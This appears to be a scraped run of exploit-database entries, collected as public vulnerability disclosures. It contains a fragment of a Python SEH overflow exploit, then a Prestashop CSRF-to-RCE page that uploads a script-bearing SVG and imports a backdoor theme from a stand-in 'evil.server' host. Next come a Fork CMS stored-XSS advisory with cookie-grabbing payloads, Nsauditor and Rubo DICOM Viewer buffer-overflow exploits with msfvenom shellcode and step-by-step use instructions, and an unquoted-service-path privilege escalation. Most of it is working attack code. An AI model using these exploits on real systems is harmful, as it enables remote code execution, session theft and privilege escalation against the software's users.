os_nSEH+nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds+os_decoder+firstHalf+shellcode filler = '\x77'*(9000-len(buffer)) buffer = buffer+filler try: payload = buffer f = open(File, 'w') f.write(payload) f.close() print File + " created successfully" except: print File + ' failed to create'
-
Prestashop 1.7.6.4 - Cross-Site Request Forgery
<html> <!-- # Exploit Title: Prestashop <= 1.7.6.4 single-click RCE exploit # Date: 2020-04-11 # Exploit Author: Sivanesh Ashok | @sivaneshashok | stazot.com # Vendor Homepage: https://www.prestashop.com/ # Version: 1.7.6.4 and below # Tested on: Windows 10 / XAMPP / Prestashop v1.7.6.4 Prestashop <= 1.7.6.4 single-click RCE exploit Written by Sivanesh Ashok | @sivaneshashok | stazot.com For more details, visit https://stazot.com/prestashop-csrf-to-rce-article Change the values of the 3 variables marked as "change this" --> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <h3>This is totally a legit page. Just keep reading this for a minute :)</h3> <script>history.pushState('', '', '/')</script> <script> var target = "http://localhost"; //change this var admin_url = "/admin123ab45cd"; //change this var theme_url = "http://evil.server/backdoor-theme.zip"; //change this - link to the malicious theme zip file var xhr0 = new XMLHttpRequest(); xhr0.open("GET", target+admin_url+"/filemanager/dialog.php"); xhr0.withCredentials = true; xhr0.send(); function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", target+admin_url+"/filemanager/upload.php", true); xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------6487332036660663652470259777"); xhr.withCredentials = true; var body = "-----------------------------6487332036660663652470259777\r\n" + "Content-Disposition: form-data; name=\"path\"\r\n" + "\r\n" + "\r\n" + "-----------------------------6487332036660663652470259777\r\n" + "Content-Disposition: form-data; name=\"path_thumb\"\r\n" + "\r\n" + "\r\n" + "-----------------------------6487332036660663652470259777\r\n" + "Content-Disposition: form-data; name=\"file\"; filename=\"exploit.svg\"\r\n" + "Content-Type: image/svg+xml\r\n" + "\r\n" + "\x3csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\x3e\r\n" + "\r\n" + "\t\x3cscript xlink:href=\"https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js\"\x3e\x3c/script\x3e\r\n" + "\t\r\n" + "\t\x3cscript\x3e\r\n" + "\t\r\n" + "\t$.ajaxSetup({async: false});\r\n" + "\r\n" + "\tvar target = \'" + target + "\';\r\n" + "\tvar admin_url = \'" + admin_url + "\';\r\n" + "\tvar theme_url = \'" + theme_url + "\';\r\n" + "\tvar import_url = \'\';\r\n" + "\tvar import_token = \'\';\r\n" + "\t\r\n" + "\t$.get(target+admin_url+\'/index.php/improve/design/themes/import\', function( my_var0 ) {\r\n" + "\t\r\n" + "\t\tvar tmp = my_var0.match(/_token(.{44})/g);\r\n" + "\t\ttmp = tmp.toString().split(\"=\");\r\n" + "\t\ttmp = tmp[1];\r\n" + "\t\timport_url = target+admin_url+\'/improve/design/themes/import?_token=\'+tmp;\r\n" + "\r\n" + "\t}, \'html\');\r\n" + "\r\n" + "\t$.get(import_url, function( my_var1 ) {\r\n" + "\r\n" + "\t\tvar tmp = my_var1.match(/import_theme__token(.{101})/g);\r\n" + "\t\ttmp = tmp.toString().split(\' \');\r\n" + "\t\ttmp = tmp[3].toString().split(\'=\\\"\');\r\n" + "\t\timport_token = tmp[1];\r\n" + "\r\n" + "\t}, \'html\');\r\n" + "\r\n" + "\tvar themeUploadData = new FormData();\r\n" + "\tthemeUploadData.append(\'import_theme[import_from_web]\', theme_url);\r\n" + "\tthemeUploadData.append(\'import_theme[_token]\', import_token);\r\n" + "\r\n" + "\t$.ajax({\r\n" + "\t\turl: import_url,\r\n" + "\t\tdata: themeUploadData,\r\n" + "\t\tcache: false,\r\n" + "\t\tcontentType: false,\r\n" + "\t\tprocessData: false,\r\n" + "\t\tmethod: \'POST\'\r\n" + "\t});\r\n" + "\r\n" + "\t\x3c/script\x3e\r\n" + "\r\n" + "\x3c/svg\x3e\r\n" + "\r\n" + "-----------------------------6487332036660663652470259777--\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } window.setTimeout(function(){ submitRequest(); }, 1500); window.setTimeout(function(){ var iframe = document.createElement('iframe'); iframe.style.display = "none"; iframe.src = target+"/img/cms/exploit.svg"; document.body.appendChild(iframe); }, 4000); </script> </body> </html>
-
Fork CMS 5.8.0 - Persistent Cross-Site Scripting
# Title: Fork CMS 5.8.0 - Persistent Cross-Site Scripting # Author: Vulnerability Laboratory # Date: 2020-04-15 # Vendor: https://www.fork-cms.com/download # Software Link: https://github.com/forkcms/forkcms/pull/3073 # CVE: N/A Document Title: =============== Fork CMS v5.8.0 - Multiple Persistent Web Vulnerbilities References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2208 ID (3073): https://github.com/forkcms/forkcms/pull/3073 Release Date: ============= 2020-04-17 Vulnerability Laboratory ID (VL-ID): ==================================== 2208 Common Vulnerability Scoring System: ==================================== 5.3 Vulnerability Class: ==================== Cross Site Scripting - Persistent Current Estimated Price: ======================== 1.000€ - 2.000€ Product & Service Introduction: =============================== Fork is an easy to use open source CMS using Symfony Components. Fork CMS is dedicated to creating a user friendly environment to build, monitor and update your website. We take great pride in being the Content Management System of choice for beginners and professionals. (Copy of the Homepage: https://www.fork-cms.com & https://www.fork-cms.com/download ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered multiple persistent web vulnerabilities in the official Fork CMS v5.8.0. Affected Product(s): ==================== ForkCMS Product: Fork CMS v5.8.0 - Content Management System (Web-Application) Vulnerability Disclosure Timeline: ================================== 2020-04-17: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Restricted authentication (user/moderator) - User privileges User Interaction: ================= Low User Interaction Disclosure Type: ================ Independent Security Research Technical Details & Description: ================================ Multiple persistent input validation web vulnerabilities has been discovered in the official Fork CMS v5.8.0 open-source web-application. The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application requests from the application-side. The persistent input validation web vulnerabilities are located in the `Displayname` input field when using the `Add`, `Edit` or `Register` mechanism that forwards the information into the `var` parameter. Remote attackers and privileged application user accounts are able to inject own malicious persistent script code as the users displayname by usage of the registration module (/profiles/register). Privileged users with access to the profile or users module are able to exploit the issue by a simple inject. The displayname then becomes visible in the Admin - Profiles Index on Preview, Edit User/Profile, Delete User Interaction and User Index in Listing modules. the var parameter does not encode or parse the exisiting injected content and executes it. The request method to inject is POST and the attack vector of the vulnerability is located on the application-side of the content management system. The injection point is located in the registration form and the add/edit user function. The execution point of the issue occurs in the preview profile, edit user, user index listing and delete user message context. Successful exploitation of the vulnerabilities results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] Register [+] Add User [+] Edit User Vulnerable Input(s): [+] Displayname Vulnerable Parameter(s): [+] var Affected Module(s): [+] Preview Profile [+] Edit User [+] User Index [+] Delete User Proof of Concept (PoC): ======================= The persistent input validation web vulnerabilities can be exploited by remote attackers with low privileged user account and low user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information an steüs below to continue. Manual steps to reproduce the vulnerability ... 1. Open the fork cms web-application newst version 2. Move via sitemap or by link to the registration page (/modules/profiles/register) 3. Inject your script code payload html/js to the Displayname input field 4. Register the account by pushing submit 5. Activate the link in the account registration email Note: Now simple wait until the administrator / privileged user visits the panel to execute the code on interaction or preview only 6. Successful reproduce of the persistent script code injection vulnerability! PoC: Vulnerable Source (User Index in Listing - https://fork-cms.localhost:8080/private/en/users/index) <tr id="row-2" class="even"> <td class="nickname"><a href="/private/en/users/edit?token=k7byefqor8&id=2" title="edit">test3"><iframe src="evil.source" onload=alert(document.cookie)></a></td> <td class="fork-data-grid-action actionEdit"><a href="/private/en/users/edit?token=k7byefqor8&id=2" class="btn btn-default btn-xs pull-right"> <span class="fa fa-pencil" aria-hidden="true"></span> Edit</a></td> </tr> PoC: Vulnerable Source (Profiles Index on Preview - https://fork-cms.localhost:8080/private/en/profiles/index) <tbody><tr id="row-1" class="odd"> <td class="check"><input type="checkbox" name="id[]" value="1" class="inputCheckbox checkBeforeUnload"></td> <td class="email"><a href="/private/en/profiles/edit?token=k7byefqor8&id=1" title="">[email protected]</a></td> <td class="display_name">"<iframe src="evil.source" onload="alert(document.cookie)"></td> <td class="registered_on">13 April 2020 11:17</td> <td class="fork-data-grid-action actionEdit"> <a href="/private/en/profiles/edit?token=k7byefqor8&id=1" class="btn btn-default btn-xs pull-right"> <span class="fa fa-pencil" aria-hidden="true"></span> Edit</a></td> </tr></tbody> PoC: Vulnerable Source (Delete User - On Interaction) <form name="delete" method="post" action="/private/en/users/delete?token=k7byefqor8"> <input type="hidden" id="delete__token" name="delete[_token]" value="q3ADogMObka_-73n5afnMPsJHj9ZAI_ch5uiabqDsqs" /> <input type="hidden" id="delete_id" name="delete[id]" value="2" /> <div class="modal fade" id="confirmDelete" role="dialog" tabindex="-1" aria-hidden="true" aria-labelledby="confirmDeleteTitle"> <div class="modal-dialog"><div class="modal-content"><div class="modal-header"> <h4 class="modal-title" id="confirmDeleteTitle">Delete</h4></div> <div class="modal-body"> <p>Are your sure you want to delete the user "evil.source"><iframe src=evil.source onload=alert(document.cookie)>"?</p></div> <div class="modal-footer"> <button class="btn btn-default" title="Cancel" data-dismiss="modal"> <span class="fa fa-times" aria-hidden="true"></span> <span class="btn-text">Cancel</span></button> <button class="btn btn-danger" title="Delete" > <span class="fa fa-trash" aria-hidden="true"></span> <span class="btn-text">Delete</span> </button></div></div></div></div> </form> --- PoC Session Logs [POST] (Registration User Account) --- https://fork-cms.localhost:8080/en/modules/profiles/register#registerForm Host: fork-cms.localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://fork-cms.localhost:8080/en/modules/profiles/register Content-Type: application/x-www-form-urlencoded Content-Length: 179 Origin: https://fork-cms.localhost:8080 Connection: keep-alive Cookie: track=s%3A32%3A%229739044e17a322bae65870698df9b79e%22%3B;PHPSESSID=dc1ffd3d01b2200d81b05cacb58e758d; interface_language=en; frontend_language=en; cookie_bar_agree=Y; cookie_bar_hide=Y; form=register&form_token=f1e7f2e9077b0400f5e97591ac09ef3e&display_name=>"<iframe src=evil.source onload=alert(document.cookie)>&[email protected]&password=pwnd - POST: HTTP/1.1 302 Found Server: nginx/1.6.2 Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: max-age=0, must-revalidate, private Set-Cookie: frontend_language=en; expires=Wed, 13-May-2020 09:49:57 GMT; Max-Age=2592000; path=/; domain=.fork-cms.localhost:8080; httponly; samesite=lax track=s%3A32%3A%229739044e17a322bae65870698df9b79e%22%3B; expires=Tue, 13-Apr-2021 09:49:57 GMT; Max-Age=31536000; path=/; domain=.fork-cms.localhost:8080; httponly; samesite=lax Location: https://fork-cms.localhost:8080 X-server: fork01 -- PoC Session Logs [POST] (Add User) --- https://fork-cms.localhost:8080/private/en/users/add?token=k7byefqor8 Host: fork-cms.localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://fork-cms.localhost:8080/private/en/users/add?token=k7byefqor8 Content-Type: multipart/form-data; boundary=---------------------------56051791419552543783889366402 Content-Length: 2545 Origin: https://fork-cms.localhost:8080 Connection: keep-alive Cookie: PHPSESSID=dc1ffd3d01b2200d81b05cacb58e758d; interface_language=en Upgrade-Insecure-Requests: 1 form=add&form_token=f1e7f2e9077b0400f5e97591ac09ef3e&[email protected]&password=tester445 &confirm_password=tester445&name=test1&surname=test2&nickname=test3>"<iframe src=a onload=alert(document.cookie)>&avatar= &interface_language=en&preferred_editor=ck-editor&date_format=j F Y&time_format=H:i&number_format=dot_nothing &csv_split_character=;&csv_line_ending=n&active=1&groups[]=1&add= - POST: HTTP/1.1 302 Found Server: nginx/1.6.2 Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: max-age=0, must-revalidate, private Set-Cookie: interface_language=en; expires=Wed, 13-May-2020 08:44:47 GMT; Max-Age=2592000; path=/; domain=.fork-cms.localhost:8080; httponly; samesite=lax Location: /private/en/users/index?token=k7byefqor8&report=added&var=test3>"<iframe src=evil.source onload=alert(document.cookie)>&highlight=row-4 X-server: fork01 - https://fork-cms.localhost:8080/private/en/users/index?token=k7byefqor8&report=added&var=test3>"<iframe src=evil.source onload=alert(document.cookie)>&highlight=row-4 Host: fork-cms.localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://fork-cms.localhost:8080/private/en/users/add?token=k7byefqor8 Connection: keep-alive Cookie: PHPSESSID=dc1ffd3d01b2200d81b05cacb58e758d; interface_language=en - POST: HTTP/1.1 200 OK Server: nginx/1.6.2 Content-Type: text/html; charset=UTF-8 Content-Length: 3615 Connection: keep-alive Cache-Control: max-age=0, must-revalidate, private Set-Cookie: interface_language=en; expires=Wed, 13-May-2020 08:44:47 GMT; Max-Age=2592000; path=/; domain=.fork-cms.localhost:8080; httponly; samesite=lax Vary: Accept-Encoding Content-Encoding: gzip X-server: fork01 - GET: HTTP/1.1 200 OK Server: nginx/1.6.2 https://fork-cms.localhost:8080/private/en/users/evil.source Host: fork-cms.localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: max-age=0, must-revalidate, private Set-Cookie: interface_language=en; expires=Wed, 13-May-2020 08:44:47 GMT; Max-Age=2592000; path=/; domain=.fork-cms.localhost:8080; httponly; samesite=lax Location: /private/en/error?type=action-not-allowed X-server: fork01 -- PoC Session Logs [POST] (Edit User) --- https://fork-cms.localhost:8080/private/en/users/edit?token=k7byefqor8&id=2 Host: fork-cms.localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://fork-cms.localhost:8080/private/en/users/edit?token=k7byefqor8&id=2 Content-Type: multipart/form-data; boundary=---------------------------388544425912514902093103180709 Content-Length: 2563 Origin: https://fork-cms.localhost:8080 Connection: keep-alive Cookie: PHPSESSID=dc1ffd3d01b2200d81b05cacb58e758d; interface_language=en form=edit&form_token=f1e7f2e9077b0400f5e97591ac09ef3e&[email protected]&name=test1&surname=test2 &nickname=test3>"<iframe src=evil.source onload=alert(document.cookie)>&avatar=&new_password=&confirm_password= &interface_language=en&preferred_editor=ck-editor&date_format=j F Y&time_format=H:i&number_format=dot_nothing& csv_split_character=;&csv_line_ending=n&active=1&groups[]=1&edit= - POST: HTTP/1.1 302 Found Server: nginx/1.6.2 Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: max-age=0, must-revalidate, private Set-Cookie: interface_language=en; expires=Wed, 13-May-2020 08:34:55 GMT; Max-Age=2592000; path=/; domain=.fork-cms.localhost:8080; httponly; samesite=lax Location: /private/en/users/index?token=k7byefqor8&report=edited&var=test3>"<iframe src=evil.source onload=alert(document.cookie)>&highlight=row-2 X-server: fork01 https://fork-cms.localhost:8080/private/en/users/index?token=k7byefqor8&report=edited&var=test3>"<iframe src=evil.source onload=alert(document.cookie)>&highlight=row-2 Host: fork-cms.localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://fork-cms.localhost:8080/private/en/users/edit?token=k7byefqor8&id=2 Connection: keep-alive Cookie: PHPSESSID=dc1ffd3d01b2200d81b05cacb58e758d; interface_language=en - POST: HTTP/1.1 200 OK Server: nginx/1.6.2 Content-Type: text/html; charset=UTF-8 Content-Length: 3585 Connection: keep-alive Cache-Control: max-age=0, must-revalidate, private Set-Cookie: interface_language=en; expires=Wed, 13-May-2020 08:34:55 GMT; Max-Age=2592000; path=/; domain=.fork-cms.localhost:8080; httponly; samesite=lax Vary: Accept-Encoding Content-Encoding: gzip X-server: fork01 Reference(s): https://fork-cms.localhost:8080/en/modules/profiles/register https://fork-cms.localhost:8080/private/en/profiles/index https://fork-cms.localhost:8080/private/en/users/index https://fork-cms.localhost:8080/private/en/users/edit https://fork-cms.localhost:8080/private/en/users/add Security Risk: ============== The security risk of the persistent input validation web vulnerabilities in the fork cms web-application is estimated as high. Credits & Authors: ================== Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M. Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@) to get a ask permission. Copyright © 2020 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM
-
Nsauditor 3.2.1.0 - Buffer Overflow (SEH+ASLR bypass (3 bytes overwrite))
# Exploit Title: Nsauditor 3.2.1.0 - Buffer Overflow (SEH+ASLR bypass (3 bytes overwrite)) # Date: 2020-04-17 # Exploit Author: Cervoise # Vendor Homepage: https://www.nsauditor.com/ # Software Link: https://www.nsauditor.com/downloads/nsauditor_setup.exe # Version: 3.2.1.0 and 3.0.28 # Tested on: Windows 10.0.18363.778 x86 Pro EN # Exploit originally found on Nsauditor 3.0.28.0 by ACHILLES (https://www.exploit-db.com/exploits/46005) # Latest version Nsauditor 3.2.1.0 (4/13/2020 1:51:53) is still vulnerable # 1 -> Change the shellcode with the one you want # 2 -> Open nsauditor-3-2-1-exploit.txt and copy content to clipboard # 3 -> Open Nsauditor # 4 -> In the Window select "Tools" -> "Dns Lookup" # 5 -> Paste the content into the Field: "Dns Query'" # 6 -> Click "Resolve" #!/usr/bin/python3 # Badchars -> \x00\x0a\x0d\x2e\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9f\xf0\xf1\xf2\xf3\xf4\xf5\xf6 # Maybe less badchars between \x80 and \x9f but I was lazy (I just checked thoose I needed) # msfvenom -p windows/exec CMD=calc -e x86/alpha_mixed -f python -v shellcode shellcode = b"" shellcode += b"\x89\xe7\xd9\xe9\xd9\x77\xf4\x59\x49\x49\x49" shellcode += b"\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43" shellcode += b"\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30" shellcode += b"\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32" shellcode += b"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" shellcode += b"\x42\x75\x4a\x49\x4b\x4c\x4a\x48\x6e\x62\x73" shellcode += b"\x30\x37\x70\x75\x50\x35\x30\x6f\x79\x68\x65" shellcode += b"\x36\x51\x6f\x30\x43\x54\x4e\x6b\x70\x50\x30" shellcode += b"\x30\x4e\x6b\x43\x62\x56\x6c\x4c\x4b\x73\x62" shellcode += b"\x54\x54\x6c\x4b\x61\x62\x65\x78\x36\x6f\x58" shellcode += b"\x37\x71\x5a\x56\x46\x66\x51\x49\x6f\x6e\x4c" shellcode += b"\x65\x6c\x51\x71\x53\x4c\x43\x32\x46\x4c\x47" shellcode += b"\x50\x6f\x31\x4a\x6f\x66\x6d\x46\x61\x79\x57" shellcode += b"\x69\x72\x69\x62\x46\x32\x36\x37\x4c\x4b\x63" shellcode += b"\x62\x76\x70\x4c\x4b\x63\x7a\x45\x6c\x6e\x6b" shellcode += b"\x72\x6c\x47\x61\x62\x58\x79\x73\x77\x38\x55" shellcode += b"\x51\x7a\x71\x72\x71\x6e\x6b\x62\x79\x57\x50" shellcode += b"\x37\x71\x78\x53\x4e\x6b\x57\x39\x72\x38\x5a" shellcode += b"\x43\x54\x7a\x61\x59\x4e\x6b\x57\x44\x4c\x4b" shellcode += b"\x45\x51\x39\x46\x30\x31\x79\x6f\x6e\x4c\x5a" shellcode += b"\x61\x4a\x6f\x44\x4d\x63\x31\x79\x57\x76\x58" shellcode += b"\x49\x70\x51\x65\x69\x66\x76\x63\x43\x4d\x58" shellcode += b"\x78\x45\x6b\x51\x6d\x57\x54\x64\x35\x48\x64" shellcode += b"\x46\x38\x6c\x4b\x42\x78\x67\x54\x36\x61\x6a" shellcode += b"\x73\x31\x76\x6c\x4b\x44\x4c\x52\x6b\x6c\x4b" shellcode += b"\x66\x38\x65\x4c\x57\x71\x4a\x73\x6e\x6b\x36" shellcode += b"\x64\x4e\x6b\x47\x71\x38\x50\x6d\x59\x42\x64" shellcode += b"\x35\x74\x51\x34\x31\x4b\x33\x6b\x70\x61\x42" shellcode += b"\x79\x43\x6a\x50\x51\x6b\x4f\x4d\x30\x33\x6f" shellcode += b"\x63\x6f\x43\x6a\x4e\x6b\x77\x62\x7a\x4b\x6e" shellcode += b"\x6d\x53\x6d\x50\x6a\x67\x71\x4e\x6d\x6c\x45" shellcode += b"\x4e\x52\x73\x30\x37\x70\x75\x50\x72\x70\x35" shellcode += b"\x38\x46\x51\x4e\x6b\x52\x4f\x4f\x77\x4b\x4f" shellcode += b"\x38\x55\x6f\x4b\x4c\x30\x6e\x55\x6c\x62\x71" shellcode += b"\x46\x53\x58\x4f\x56\x6d\x45\x6d\x6d\x6d\x4d" shellcode += b"\x39\x6f\x58\x55\x47\x4c\x44\x46\x43\x4c\x74" shellcode += b"\x4a\x6b\x30\x49\x6b\x59\x70\x34\x35\x47\x75" shellcode += b"\x6f\x4b\x50\x47\x56\x73\x73\x42\x70\x6f\x53" shellcode += b"\x5a\x67\x70\x51\x43\x4b\x4f\x6b\x65\x31\x73" shellcode += b"\x70\x61\x52\x4c\x30\x63\x73\x30\x41\x41" # 0x006ea017 : pop esi # pop ecx # ret | startnull {PAGE_EXECUTE_WRITECOPY} [Nsauditor.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.0.28.0 (C:\Program Files\Nsauditor\Nsauditor.exe) # 0x006ea017 : pop esi # pop ecx # ret | startnull {PAGE_EXECUTE_WRITECOPY} [Nsauditor.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.2.1.0 (C:\Program Files\Nsauditor\Nsauditor.exe) pop_pop_ret = b"\x17\xa0\x6e" jmp_back = b"\xeb\xc3\x90\x90" #JMP 0xffffffc5 # An address near the end of our buffer is on the stack, only three pop are needed to get it # Then we just have to moving at the begging of our buffer # An egghunter does the job, but will not be compatible with all Windows versions going_back = b"\x58" #POP EAX going_back += b"\x58" #POP EAX going_back += b"\x58" #POP EAX going_back += b"\x83\xE8\x79" #SUB EAX,0x79 going_back += b"\x83\xE8\x79" #SUB EAX,0x79 going_back += b"\x83\xE8\x79" #SUB EAX,0x79 going_back += b"\x83\xE8\x79" #SUB EAX,0x79 going_back += b"\x83\xE8\x79" #SUB EAX,0x79 going_back += b"\xFF\xE0" #JMP EAX buffer = b"\x90"*(5235-len(shellcode)-len(going_back)-100) buffer += shellcode + b"\x90"*100 buffer += going_back buffer += jmp_back + pop_pop_ret #nSEH / SEH # Write the exploit file = open("nsauditor-3-2-1-exploit.txt", "wb") file.write(buffer) file.close()
-
Rubo DICOM Viewer 2.0 - Buffer Overflow (SEH)
# Exploit Title: Rubo DICOM Viewer 2.0 - Buffer Overflow (SEH) # Exploit Author: bzyo # Date: 2020-04-17 # Vulnerable Software: Rubo Medical Imaging - DICOM Viewer 2.0 # Vendor Homepage: http://www.rubomedical.com/ # Version: 2.0 # Software Link : http://www.rubomedical.com/download/index.php # Tested Windows 7 SP1 x86 # # # PoC # 1. generate overview.txt, copy contents to clipboard # 2. open application # 3. select send dicom files, edit # 4. paste contents from clipBoard to "DICOM server name" field # 6. pop calc #!/usr/bin/python import struct junk1 = "A"*1868 #0x00402f0e : pop ecx # pop ebp # ret 0x04[Overview.exe] seh = struct.pack('<L',0x00402f0e) jmp1 = "\xeb\xf8\xcc\xcc" jmp2 = "\xe9\x11\xFF\xFF\xFF\x90" #msfvenom -a x86 -p windows/exec CMD=calc.exe -b "\x00\x0d" -f c #Payload size: 220 bytes calc = ("\xd9\xc3\xba\x3a\xf3\xa8\x97\xd9\x74\x24\xf4\x5b\x33\xc9\xb1" "\x31\x31\x53\x18\x03\x53\x18\x83\xc3\x3e\x11\x5d\x6b\xd6\x57" "\x9e\x94\x26\x38\x16\x71\x17\x78\x4c\xf1\x07\x48\x06\x57\xab" "\x23\x4a\x4c\x38\x41\x43\x63\x89\xec\xb5\x4a\x0a\x5c\x85\xcd" "\x88\x9f\xda\x2d\xb1\x6f\x2f\x2f\xf6\x92\xc2\x7d\xaf\xd9\x71" "\x92\xc4\x94\x49\x19\x96\x39\xca\xfe\x6e\x3b\xfb\x50\xe5\x62" "\xdb\x53\x2a\x1f\x52\x4c\x2f\x1a\x2c\xe7\x9b\xd0\xaf\x21\xd2" "\x19\x03\x0c\xdb\xeb\x5d\x48\xdb\x13\x28\xa0\x18\xa9\x2b\x77" "\x63\x75\xb9\x6c\xc3\xfe\x19\x49\xf2\xd3\xfc\x1a\xf8\x98\x8b" "\x45\x1c\x1e\x5f\xfe\x18\xab\x5e\xd1\xa9\xef\x44\xf5\xf2\xb4" "\xe5\xac\x5e\x1a\x19\xae\x01\xc3\xbf\xa4\xaf\x10\xb2\xe6\xa5" "\xe7\x40\x9d\x8b\xe8\x5a\x9e\xbb\x80\x6b\x15\x54\xd6\x73\xfc" "\x11\x28\x3e\x5d\x33\xa1\xe7\x37\x06\xac\x17\xe2\x44\xc9\x9b" "\x07\x34\x2e\x83\x6d\x31\x6a\x03\x9d\x4b\xe3\xe6\xa1\xf8\x04" "\x23\xc2\x9f\x96\xaf\x2b\x3a\x1f\x55\x34") junk2 = "\x90"*14 buffer = junk1 + calc + junk2 + jmp2 + jmp1 + seh with open("overview.txt","wb") as f: f.write(buffer[:-1])
-
Atomic Alarm Clock x86 6.3 - 'AtomicAlarmClock' Unquoted Service Path
# Exploit Title: Atomic Alarm Clock x86 6.3 - 'AtomicAlarmClock' Unquoted Service Path # Exploit Author: boku # Date: 2020-04-17 # Vendor Homepage: http://www.drive-software.com # Software Link: http://www.drive-software.com/download/ataclock.exe # Version: 6.3 # Tested On: Windows 10 Pro 1909 (32-bit) # Vulnerability Type: Local Privilege Escalation by unquoted service path owned by 'LocalSystem'. # Vulnerability Description: # The Atomic Alarm Clock service "timeserv.exe" will load an arbitrary EXE and execute it with SYSTEM integrity. # This security misconfiguration by the vendor can be exploited locally or as part of an attack chain. # By placing a file named "Program.exe" on the root drive, an attacker can obtain persistent arbitrary code execution. # Under normal environmental conditions, this exploit ensures escalation of privileges from Admin to SYSTEM. C:\Users\boku>sc qc AtomicAlarmClock [SC] QueryServiceConfig SUCCESS SERVICE_NAME: AtomicAlarmClock TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files\Atomic Alarm Clock\timeserv.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Atomic Alarm Clock Time DEPENDENCIES : SERVICE_START_NAME : LocalSystem
-
Unraid 6.8.0 - Auth Bypass PHP Code Execution (Metasploit)
